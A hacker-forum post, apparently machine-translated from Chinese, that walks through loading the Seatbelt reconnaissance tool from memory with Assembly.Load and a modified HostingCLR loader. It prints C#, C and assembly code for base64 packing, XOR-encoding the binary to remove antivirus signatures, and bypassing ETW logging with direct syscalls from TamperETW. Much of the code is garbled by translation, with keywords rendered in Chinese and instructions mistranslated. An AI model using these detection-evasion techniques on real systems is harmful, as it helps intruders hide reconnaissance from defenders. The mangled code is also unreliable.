跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

记忆加载安全带的实现


RenX6

推荐的帖子

0x00 前言

安全带是一个C #项目,可以用来检查主机的安全性,在攻防两方面都可以发挥作用。

一个命令就可以获得当前主机的多项配置信息,方便实用。

为了拓展安全带的应用场景,本文将介绍两种通过记忆(Assembly)加载安全带的方法。Load and execute-assembly)不需要修改安全带的任何代码,分别完成传入Main函数的参数的实现代码。NET程序集。

以前的文章《从内存加载.NET程序集(Assembly.Load)的利用分析》和《从内存加载.NET程序集(execute-assembly)的利用分析》

只介绍了将参数传递给指定类的方法的实现代码。

0x01 简介

本文将介绍以下内容:

安全带的编制和使用

装配安全带的方法。加载和传入参数

用执行装配和传入参数加载安全带的方法

Visual Studio2015采用64位平台下汇编代码的方法

0x02 Seatbelt的编译和使用

1.编译

工程地址:

https://github.com/GhostPack/Seatbelt

支持。NET 3.5和4.0

需要用Visual Studio2017或更高版本编译。

2.使用

您需要传入的参数来指定特定的命令,例如运行所有检查并返回所有输出:

Seatbelt.exe-组=全部-全部

详细命令请参考项目描述:

https://github.com/GhostPack/Seatbelt#command-line-usage

0x03 使用Assembly.Load加载Seatbelt并传入参数的方法

实现语言:C#

实施思路:

Seatbelt.exe以base64编码并存储在数组中,然后用汇编进行基本解码后加载。加载()。最后,参数被传递给主函数。

实施代码:

1.将Seatbelt.exe作base64编码并返回结果

# c实现代码:

使用系统;

使用系统。反思;

命名空间测试应用程序

{

公开课程

{

公共静态void Main()

{

byte[] buffer=System。IO . file . read all bytes(' seat belt . exe ');

string base64str=Convert。ToBase64String(缓冲区);

控制台。WriteLine(base 64 str);

}

}

}

你可以用Visual Studio或者直接用csc.exe来编译。

下用csc.exe编译的命令。净3.5:

C:\Windows\Microsoft。NET \ framework 64 \ v 3.5 \ CSC . exe base64 . cs

下用csc.exe编译的命令。Net 4.0:

C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ CSC . exe base64 . cs

编译成功后,生成base64.exe,执行后得到Seatbelt.exe base64编码的字符串。

2.使用Assembly.Load()作base解码后进行加载,最后向Main函数传入参数

# c实现代码:

使用系统;

使用系统。反思;

命名空间测试应用程序

{

公开课程

{

公共静态void Main(string[] args)

{

string base 64 str=“”;

byte[] buffer=转换。from base 64 string(base 64 str);

object[]commands=args;

装配装配=装配。负载(缓冲);

尝试

{

组装。EntryPoint.Invoke(null,新对象[]{ commands });

}

捕捉

{

MethodInfo方法=程序集。入口点;

如果(方法!=空)

{

对象o=程序集。CreateInstance(方法。姓名);

方法。Invoke(o,null);

}

}

}

}

}

将Seatbelt.exe编码为base64的字符串替换为上面代码中的字符串。

同样,上述代码可以使用Visual Studio或直接使用csc.exe编译。

0x04 使用execute-assembly加载Seatbelt并传入参数的方法

实现语言:c

实施思路:

将Seatbelt.exe的内容保存在一个数组中,加载。NET程序集用Load_3(…)读完,最后传入参数给Main函数。

为了去掉Seatbelt.exe的特征码,可以将Seatbelt.exe中的字符逐个进行异或运算,然后保存到数组中。

这里使用HostingCLR作为代码开发的模板。

HostingCLR的代码没有解决参数传递的问题,无法将参数传递给的Main函数。NET程序集。代码位置:

https://github . com/etormadiv/hosting clr/blob/master/hosting clr/hosting clr . CPP # L218

我的代码解决了参数传递的问题,通过对Seatbelt.exe中的字符逐个进行XOR运算,去掉Seatbelt.exe的特征码,然后保存在数组中。

实施代码:

1.将exe文件中逐个字符作异或运算后再保存为新的文件

c实现代码:

int main(int argc,char* argv[])

{

如果(argc!=3)

{

printf(' File _ XOR _ generator \ n ');

printf('用法:\ n’);

printf('%s \n ',argv[0]);

printf(' Eg:\ n ');

printf(' % s test.exe0x 01 \ n ',argv[0]);

返回0;

}

int x;

sscanf_s(argv[2],' %x ',x);

文件* fp

int err=fopen_s(fp,argv[1],' ab ');

如果(呃!=0)

{

printf('\n[!]打开文件错误');

返回0;

}

fseek(fp,0,SEEK _ END);

int len=ftell(FP);

unsigned char * buf=new unsigned char[len];

fseek(fp,0,SEEK _ SET);

fread(buf,len,1,FP);

fclose(FP);

printf('[*]文件名:%s\n ',argv[1]);

printf('[*]文件大小:%d\n ',len);

for(int I=0;我低输入联网(low-entry networking的缩写)我)

{

buf[I]=buf[i]^ x;

}

char strNew[256]={ 0 };

snprintf(strNew,256,' xor_%s ',argv[1]);

文件* fp2

err=fopen_s(fp2,strNew,' WB ');

如果(呃!=0)

{

printf('\n[!]创建文件错误!');

返回0;

}

fwrite(buf,len,1,fp2);

fclose(fp2);

printf('[*] XOR文件名:%s\n ',strNew);

printf('[*] XOR文件大小:%d\n ',len);

}

这里将Seatbelt.exe中逐个字符同0x01作异或运算,命令行参数如下:

Seatbelt.exe0x 01

生成文件xor_Seatbelt.exe

使用hxd打开xor_Seatbelt.exe

将文件内容复制成C代码的格式,如下图

2-1.png

2.使用Load_3(…)加载.NET程序集,最后向Main函数传入参数

完整代码已上传至github,地址如下:

https://github。com/3g student/home-of-C-Language/blob/master/hosting clr _ with _ arguments _ xor。卡片打印处理机(Card Print Processor的缩写)

在使用时需要修改代码以下位置:

替换数组原始数据中的内容

定义mscorlibPath的路径

定义运行时间版本的版本

代码会对数组原始数据中的内容逐个字符同0x01作异或运算,还原出Seatbelt.exe的文件内容,再进行加载并向主要的函数传入参数

编译后生成文件承载clr _ with _ arguments _ xor。exe,测试命令实例:

承载clr _ with _ arguments _ xor。exe-group=all

使用流程浏览器查看进程承载clr _ with _ arguments _ xor。可执行程序的扩展名的。网络程序集项,如下图

3-1.png

能够获得。网程序集的名称

如果想要隐藏。网程序集的名称,需要绕过ETW的检测

3.绕过ETW的检测

这里参考代码https://github.com/outflanknl/TamperETW/

引入其中绕过EWT的代码,代码已上传至github,地址如下:

https://github。com/3g student/home-of-C-Language/blob/master/hosting clr _ with _ arguments _ XOR _ tamperetw。卡片打印处理机(Card Print Processor的缩写)

这里还需要添加空对地导弹文件Syscalls.asm,实现对汇编文件的调用

新建项,选择C文件,输入文件名Syscalls.asm,具体内容如下:密码

;参考:https://j00ru . vexillium . org/sys calls/nt/64/

;SP1 windows 7/R2 Server 2008特定系统调用

ZwProtectVirtualMemory7SP1 proc

mov r10,rcx

mov eax,4Dh

系统调用

浸水使柔软

ZwProtectVirtualMemory7SP1 endp

ZwWriteVirtualMemory7SP1过程

mov r10,rcx

mov eax,37h

系统调用

浸水使柔软

ZwWriteVirtualMemory7SP1 endp

ZwReadVirtualMemory7SP1过程

mov r10,rcx

mov eax,3Ch

系统调用

浸水使柔软

ZwReadVirtualMemory7SP1 endp

;Windows 8/Server 2012特定系统调用

ZwProtectVirtualMemory80 proc

mov r10,rcx

mov eax,4Eh

系统调用

浸水使柔软

ZwProtectVirtualMemory80 endp

ZwWriteVirtualMemory80处理器

mov r10,rcx

mov eax,38小时

系统调用

浸水使柔软

ZwWriteVirtualMemory80 endp

ZwReadVirtualMemory80处理器

mov r10,rcx

mov eax

系统调用

浸水使柔软

ZwReadVirtualMemory80 endp

;Windows 8.1/Server 2012 R2版特定系统调用

ZwProtectVirtualMemory81 proc

mov r10,rcx

mov eax,4Fh

系统调用

浸水使柔软

ZwProtectVirtualMemory81 endp

ZwWriteVirtualMemory81处理器

mov r10,rcx

mov eax,39h

系统调用

浸水使柔软

ZwWriteVirtualMemory81 endp

ZwReadVirtualMemory81处理器

mov r10,rcx

mov eax,3Eh

系统调用

浸水使柔软

ZwReadVirtualMemory81 endp

;Windows 10/Server 2016特定系统调用

ZwProtectVirtualMemory10过程

mov r10,rcx

mov eax,50h

系统调用

浸水使柔软

ZwProtectVirtualMemory10 endp

ZwWriteVirtualMemory10过程

mov r10,rcx

mov eax,3Ah

系统调用

浸水使柔软

ZwWriteVirtualMemory10 endp

ZwReadVirtualMemory10过程

mov r10,rcx

mov eax,3Fh

系统调用

浸水使柔软

ZwReadVirtualMemory10 endp

结束

注:

Syscalls.asm的代码来自于https://github。com/outlanknl/TamperETW/blob/master/TamperETW/unmanaged clr/sys调用。空对地导弹

Visual Studio2015在64位平台下使用汇编代码还需要作以下设置:

(1)右键单击项目-构建依赖项)-构建定制,并检查masm。

如下图

3-2.png

(2)用鼠标右键选择文件Syscalls.asm- attribute,将项目类型设置为Microsoft Macro Assembler。

如下图

3-3.png

编译后生成文件hosting clr _ with _ arguments _ xor _ tamperetw.exe。

测试命令示例:

hosting clr _ with _ arguments _ XOR _ tamperetw . exe-group=all

使用流程资源管理器查看。进程hosting clr _ with _ arguments _ xor _ tamperetw.exe的. NET Assemblies项,如下图所示。

3-4.png

成功隐藏了的名称。NET程序集。

0x05 小结

本文介绍两种方法(组装。Load和execute-assembly)通过内存加载安全带,分别完成传入Main函数的参数的实现代码。NET程序集。为了解决HostingCLR的参数传递问题,引入了TamperETW代码绕过ETW,并介绍了在64位平台下Visual Studio2015中使用汇编代码的方法。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...